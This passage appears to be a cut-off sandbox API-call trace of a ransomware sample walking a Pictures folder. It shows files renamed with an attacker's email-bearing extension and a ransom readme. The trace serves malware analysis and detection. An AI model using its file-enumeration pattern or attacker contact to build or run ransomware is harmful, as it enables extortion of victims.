_Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.836] wcscat (in: _Dest=0x2fee240, _Source="Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731" [0168.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0168.837] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Camera Roll", cAlternateFileName="CAMERA~1")) returned 1 [0168.837] wcscmp (_String1="Camera Roll", _String2=".") returned 1 [0168.837] wcscmp (_String1="Camera Roll", _String2="..") returned 1 [0168.837] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4a) returned 0x2f889a0 [0168.837] wcscpy (in: _Dest=0x2f889a0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.837] wcscat (in: _Dest=0x2f889a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.837] wcscat (in: _Dest=0x2f889a0, _Source="Camera Roll" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Camera Roll") returned="C:\\Users\\FD1HVy\\Pictures\\Camera Roll" [0168.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f889a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0168.838] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cd860, ftCreationTime.dwHighDateTime=0x1d4cda3, ftLastAccessTime.dwLowDateTime=0xb4ef82f0, ftLastAccessTime.dwHighDateTime=0x1d4ca10, ftLastWriteTime.dwLowDateTime=0x80cbbbda, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x18d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="CLRLWD~1.D0E")) returned 1 [0168.838] wcscmp (_String1="ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.838] wcscmp (_String1="ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.838] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2fee8d0 [0168.838] wcscpy (in: _Dest=0x2fee8d0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.838] wcscat (in: _Dest=0x2fee8d0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.838] wcscat (in: _Dest=0x2fee8d0, _Source="ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731" [0168.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0168.839] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b81520, ftCreationTime.dwHighDateTime=0x1d4cc30, ftLastAccessTime.dwLowDateTime=0x4129480, ftLastAccessTime.dwHighDateTime=0x1d4d137, ftLastWriteTime.dwLowDateTime=0x80d79962, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x29e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="CQUPCC~1.D0E")) returned 1 [0168.839] wcscmp (_String1="CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.839] wcscmp (_String1="CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.839] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2fee828 [0168.839] wcscpy (in: _Dest=0x2fee828, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.839] wcscat (in: _Dest=0x2fee828, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.839] wcscat (in: _Dest=0x2fee828, _Source="CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\CqupCCkQphRahcGg.bmp.mailto[kokoklock@cock.li].d0e731" [0168.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0168.840] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80999cd0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80999cd0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80999cd0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.840] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.840] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.840] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44053085, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44053085, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0168.840] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0168.840] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0168.840] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x671d3f90, ftCreationTime.dwHighDateTime=0x1d4ce07, ftLastAccessTime.dwLowDateTime=0x4cc7a3b0, ftLastAccessTime.dwHighDateTime=0x1d4cc7c, ftLastWriteTime.dwLowDateTime=0x80e12384, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="DHnEV.jpg.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DHNEVJ~1.D0E")) returned 1 [0168.840] wcscmp (_String1="DHnEV.jpg.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.840] wcscmp (_String1="DHnEV.jpg.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.840] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x88) returned 0x2f82508 [0168.840] wcscpy (in: _Dest=0x2f82508, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.840] wcscat (in: _Dest=0x2f82508, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.840] wcscat (in: _Dest=0x2f82508, _Source="DHnEV.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\DHnEV.jpg.mailto[kokoklock@cock.li].d0e731" [0168.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0168.841] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12ad780, ftCreationTime.dwHighDateTime=0x1d4c71c, ftLastAccessTime.dwLowDateTime=0x82de6620, ftLastAccessTime.dwHighDateTime=0x1d4d102, ftLastWriteTime.dwLowDateTime=0x80e38445, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5294, dwReserved0=0x0, dwReserved1=0x0, cFileName="dRSKsP.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="DRSKSP~1.D0E")) returned 1 [0168.841] wcscmp (_String1="dRSKsP.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.841] wcscmp (_String1="dRSKsP.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.841] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe5008 [0168.841] wcscpy (in: _Dest=0x2fe5008, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.841] wcscat (in: _Dest=0x2fe5008, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.841] wcscat (in: _Dest=0x2fe5008, _Source="dRSKsP.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731" [0168.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe5008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480 [0168.842] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8b7fd0, ftCreationTime.dwHighDateTime=0x1d4cfec, ftLastAccessTime.dwLowDateTime=0x8234d7d0, ftLastAccessTime.dwHighDateTime=0x1d4caf0, ftLastWriteTime.dwLowDateTime=0x80e84910, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x114bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="E2BOOA~1.D0E")) returned 1 [0168.842] wcscmp (_String1="E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.842] wcscmp (_String1="E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.842] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fe3cc0 [0168.842] wcscpy (in: _Dest=0x2fe3cc0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.842] wcscat (in: _Dest=0x2fe3cc0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.842] wcscat (in: _Dest=0x2fe3cc0, _Source="E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731" [0168.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c [0168.842] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x283bc550, ftCreationTime.dwHighDateTime=0x1d4c941, ftLastAccessTime.dwLowDateTime=0x1b1b3c30, ftLastAccessTime.dwHighDateTime=0x1d4c675, ftLastWriteTime.dwLowDateTime=0x80eaab7e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5b9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="F3DJQR~1.D0E")) returned 1 [0168.842] wcscmp (_String1="f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.842] wcscmp (_String1="f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.842] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6e8c0 [0168.843] wcscpy (in: _Dest=0x2f6e8c0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.843] wcscat (in: _Dest=0x2f6e8c0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.843] wcscat (in: _Dest=0x2f6e8c0, _Source="f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731" [0168.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e8c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478 [0168.843] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb38230, ftCreationTime.dwHighDateTime=0x1d4d27f, ftLastAccessTime.dwLowDateTime=0xdb709d10, ftLastAccessTime.dwHighDateTime=0x1d4cd08, ftLastWriteTime.dwLowDateTime=0x80ed0e58, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x16077, dwReserved0=0x0, dwReserved1=0x0, cFileName="ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="FT3T49~1.D0E")) returned 1 [0168.843] wcscmp (_String1="ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.843] wcscmp (_String1="ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.843] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fe4ab0 [0168.843] wcscpy (in: _Dest=0x2fe4ab0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.843] wcscat (in: _Dest=0x2fe4ab0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.843] wcscat (in: _Dest=0x2fe4ab0, _Source="ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731" [0168.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474 [0168.844] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9716e670, ftCreationTime.dwHighDateTime=0x1d4cc99, ftLastAccessTime.dwLowDateTime=0x178bd870, ftLastAccessTime.dwHighDateTime=0x1d4d2ed, ftLastWriteTime.dwLowDateTime=0x80ef71e4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x151c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="GAWE9D~1.D0E")) returned 1 [0168.844] wcscmp (_String1="GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.844] wcscmp (_String1="GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.844] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fe35e0 [0168.844] wcscpy (in: _Dest=0x2fe35e0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.844] wcscat (in: _Dest=0x2fe35e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.844] wcscat (in: _Dest=0x2fe35e0, _Source="GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731" [0168.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe35e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0168.845] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaacbfd0, ftCreationTime.dwHighDateTime=0x1d4ca40, ftLastAccessTime.dwLowDateTime=0xd78ecff0, ftLastAccessTime.dwHighDateTime=0x1d4cb50, ftLastWriteTime.dwLowDateTime=0x80f43574, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10ba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="IH7LMH~1.D0E")) returned 1 [0168.845] wcscmp (_String1="IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.845] wcscmp (_String1="IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.845] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x92) returned 0x2fe3860 [0168.845] wcscpy (in: _Dest=0x2fe3860, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.845] wcscat (in: _Dest=0x2fe3860, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.845] wcscat (in: _Dest=0x2fe3860, _Source="IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731" [0168.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c [0168.846] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a270d40, ftCreationTime.dwHighDateTime=0x1d4d2fb, ftLastAccessTime.dwLowDateTime=0x7c36fa20, ftLastAccessTime.dwHighDateTime=0x1d4d5bd, ftLastWriteTime.dwLowDateTime=0x80f69a43, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x43f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="JU6O1U~1.D0E")) returned 1 [0168.846] wcscmp (_String1="JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.846] wcscmp (_String1="JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2fedd00 [0168.846] wcscpy (in: _Dest=0x2fedd00, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.846] wcscat (in: _Dest=0x2fedd00, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.846] wcscat (in: _Dest=0x2fedd00, _Source="JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp.mailto[kokoklock@cock.li].d0e731" [0168.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedd00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468 [0168.847] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d7b52c0, ftCreationTime.dwHighDateTime=0x1d4ca9a, ftLastAccessTime.dwLowDateTime=0x88dfc2d0, ftLastAccessTime.dwHighDateTime=0x1d4d305, ftLastWriteTime.dwLowDateTime=0x80fb5dbf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x129d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LSYELT~1.D0E")) returned 1 [0168.847] wcscmp (_String1="lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.847] wcscmp (_String1="lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.847] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2fe50a0 [0168.847] wcscpy (in: _Dest=0x2fe50a0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.847] wcscat (in: _Dest=0x2fe50a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.847] wcscat (in: _Dest=0x2fe50a0, _Source="lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp.mailto[kokoklock@cock.li].d0e731" [0168.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe50a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464 [0168.848] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa139370, ftCreationTime.dwHighDateTime=0x1d4d40c, ftLastAccessTime.dwLowDateTime=0xe030a810, ftLastAccessTime.dwHighDateTime=0x1d4d459, ftLastWriteTime.dwLowDateTime=0x80fdbeb5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14549, dwReserved0=0x0, dwReserved1=0x0, cFileName="mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MY4VXC~1.D0E")) returned 1 [0168.848] wcscmp (_String1="mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.848] wcscmp (_String1="mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.848] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6e1e0 [0168.848] wcscpy (in: _Dest=0x2f6e1e0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.848] wcscat (in: _Dest=0x2f6e1e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.848] wcscat (in: _Dest=0x2f6e1e0, _Source="mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731" [0168.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460 [0168.848] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a4d350, ftCreationTime.dwHighDateTime=0x1d4c59f, ftLastAccessTime.dwLowDateTime=0xb7a1ea20, ftLastAccessTime.dwHighDateTime=0x1d4c61d, ftLastWriteTime.dwLowDateTime=0x810021bc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x72a3, dwReserved0=0x0, dwReserved1=0x0, 